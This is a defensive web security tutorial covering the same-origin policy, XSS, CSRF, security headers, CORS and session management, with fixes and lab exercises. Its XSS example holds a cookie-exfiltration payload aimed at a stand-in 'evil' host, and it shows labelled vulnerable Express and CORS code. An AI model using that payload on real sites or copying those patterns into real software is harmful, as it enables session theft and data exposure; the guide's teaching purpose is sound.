Web Security Fundamentals
Web security is about protecting applications, users, and data from abuse across the untrusted boundary between the browser and the server. This guide takes a defensive stance: it explains how the browser's trust model works, what the most common vulnerability classes look like, and — most importantly — how to prevent them. Offensive concepts are framed so you can recognize and remediate them, and practice safely in dedicated lab environments.
The Browser Trust Model & Same-Origin Policy
The browser is a hostile-input processing engine: it renders content from many origins simultaneously. The Same-Origin Policy (SOP) is the foundational security boundary that keeps one origin from reading another origin's data. An origin is the tuple of scheme + host + port.
URL compared to https://app.example.com/a |
Same origin? | Why |
|---|---|---|
https://app.example.com/b | Yes | Path is not part of origin |
http://app.example.com | No | Different scheme |
https://api.example.com | No | Different host |
https://app.example.com:8443 | No | Different port |
SOP restricts scripted reads across origins, but it does not block cross-origin requests from being sent (that is why CSRF exists), nor does it sandbox content injected into your own origin (that is why XSS is so damaging). Defense-in-depth adds CORS, CSP, cookie flags, and framing controls on top of SOP.
HTTP Basics for Security
HTTP is stateless. State is layered on with cookies, tokens, and headers. A security review of any request should ask: what identity is being asserted, how is it transmitted, is the channel encrypted (HTTPS), and what does the response tell the browser to trust?
GET /account HTTP/1.1
Host: app.example.com
Cookie: session=eyJ... # identity assertion
Origin: https://app.example.com # who initiated the request
HTTP/1.1 200 OK
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
Content-Security-Policy: default-src 'self'
Strict-Transport-Security: max-age=63072000; includeSubDomains
Cross-Site Scripting (XSS)
XSS occurs when untrusted data is placed into a page such that the browser executes it as script within the victim's origin. Because it runs with the page's privileges, it can read the DOM, steal non-HttpOnly cookies, and perform authenticated actions.
Three Types
| Type | Where the payload lives | Example vector |
|---|---|---|
| Reflected | In the request, echoed into the immediate response | Search term rendered without encoding |
| Stored | Persisted server-side, served to many users | Comment/profile field rendered raw |
| DOM-based | Entirely client-side, never touches the server | location.hash into innerHTML |
Vulnerable Example
// VULNERABLE: user input concatenated into HTML
app.get('/search', (req, res) => {
const q = req.query.q;
res.send(`<h1>Results for ${q}</h1>`);
});
// Request /search?q=<script>document.location='//evil/'+document.cookie</script>
// executes in the victim's origin.
The Fix: Contextual Output Encoding + Auto-Escaping + CSP
// SECURE: let the templating engine auto-escape, never build HTML by hand.
// React, Angular, Vue, and server templates (EJS <%= %>, Handlebars) escape by default.
app.get('/search', (req, res) => {
res.render('search', { q: req.query.q }); // engine HTML-encodes q
});
// Client-side: assign text, not markup.
el.textContent = userInput; // safe
// el.innerHTML = userInput; // dangerous
// If you must render user HTML, sanitize with an allowlist library:
import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userInput);
Encoding is context-sensitive
HTML-body, HTML-attribute, JavaScript, URL, and CSS contexts each need different encoding. Rely on a framework's context-aware escaping rather than a single home-grown "escape" function, and add a strong CSP as a second line of defense.
Cross-Site Request Forgery (CSRF)
CSRF tricks a logged-in user's browser into sending a state-changing request the user did not intend. It works because browsers automatically attach cookies to requests regardless of who initiated them. Defenses ensure the server can distinguish requests the user's own app made from cross-site forgeries.
Defense 1: SameSite Cookies
Setting SameSite=Lax (a modern browser default) stops cookies from being sent on most cross-site sub-requests. Use Strict for the most sensitive cookies.
Defense 2: Anti-CSRF Tokens
// Synchronizer token pattern: server issues an unpredictable token,
// the form submits it, the server validates it on every state change.
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="{{csrfToken}}">
...
</form>
// For token-based APIs, prefer the Origin/Referer check + custom header
// (e.g. X-Requested-With) which cross-site forms cannot set.
Cookie Security Flags
| Flag | Effect | Protects against |
|---|---|---|
| HttpOnly | Blocks JS access via document.cookie | Session theft via XSS |
| Secure | Sent only over HTTPS | Network eavesdropping |
| SameSite | Limits cross-site sending (Lax/Strict/None) | CSRF |
| __Host- prefix | Requires Secure, no Domain, path / | Cookie fixation/subdomain overwrite |
Security Response Headers
| Header | Example value | Purpose |
|---|---|---|
| Content-Security-Policy | default-src 'self'; object-src 'none' | Restrict script/resource sources; mitigate XSS |
| Strict-Transport-Security | max-age=63072000; includeSubDomains | Force HTTPS, prevent downgrade |
| X-Content-Type-Options | nosniff | Stop MIME sniffing |
| X-Frame-Options / frame-ancestors | DENY / frame-ancestors 'none' | Clickjacking defense |
| Referrer-Policy | strict-origin-when-cross-origin | Limit URL leakage in Referer |
Content-Security-Policy Example
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
upgrade-insecure-requests
Prefer nonces or hashes over 'unsafe-inline'. Avoid 'unsafe-eval'. Roll out with Content-Security-Policy-Report-Only first to find breakage before enforcing.
Express + Helmet Snippet
import helmet from 'helmet';
app.use(helmet()); // sane defaults: HSTS, nosniff, frameguard, etc.
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.nonce}'`],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
},
}));
CORS Done Safely
Cross-Origin Resource Sharing (CORS) relaxes SOP so a browser will let JavaScript read cross-origin responses when the server opts in. It is an authorization mechanism for the browser, not a firewall. The dangerous anti-pattern is reflecting the request Origin back while also allowing credentials.
// DANGEROUS: reflecting Origin + credentials = any site can read authed data
res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
// SAFE: strict allowlist, never a wildcard with credentials
const ALLOWED = new Set(['https://app.example.com']);
const origin = req.headers.origin;
if (ALLOWED.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
res.setHeader('Vary', 'Origin');
}
CORS gotcha
Access-Control-Allow-Origin: * cannot be combined with credentials, and CORS never authorizes anything server-side — the server still executed the request. Always keep real authorization checks in your handlers.
Clickjacking Defense
Clickjacking loads your site in an invisible iframe over attacker-controlled bait so users click things they cannot see. Defend with Content-Security-Policy: frame-ancestors 'none' (modern) plus X-Frame-Options: DENY (legacy fallback). Use SameSite cookies so framed sessions are not authenticated.
Secure Session Management
- Generate session IDs with a cryptographically secure random source; keep them long and opaque.
- Store them in
HttpOnly; Secure; SameSitecookies, not inlocalStorage. - Regenerate the session ID on privilege change (login, role elevation) to prevent session fixation.
- Enforce idle and absolute timeouts; invalidate server-side on logout.
- Bind sensitive actions to re-authentication or step-up MFA.
Practice Exercises
- In OWASP Juice Shop, find and then patch a stored/reflected XSS by adding output encoding or DOMPurify sanitization to the affected field.
- Add a nonce-based Content-Security-Policy to a local Express test app and verify inline scripts are blocked using the browser console, iterating from Report-Only to enforcing.
- Set
HttpOnly,Secure, andSameSiteflags on your test app's session cookie and confirm the flags in DevTools → Application → Cookies. - Complete the CSRF lessons on PortSwigger Web Security Academy, then implement synchronizer tokens and SameSite cookies in a local app and test that forged cross-site POSTs fail.
- Configure CORS on a test API with a strict origin allowlist; use DevTools to confirm a disallowed origin cannot read the response while an allowed one can.
- Use DVWA or WebGoat to observe missing security headers, then use the Network tab in browser DevTools to inspect and verify each header (CSP, HSTS, X-Content-Type-Options, frame-ancestors) after remediation.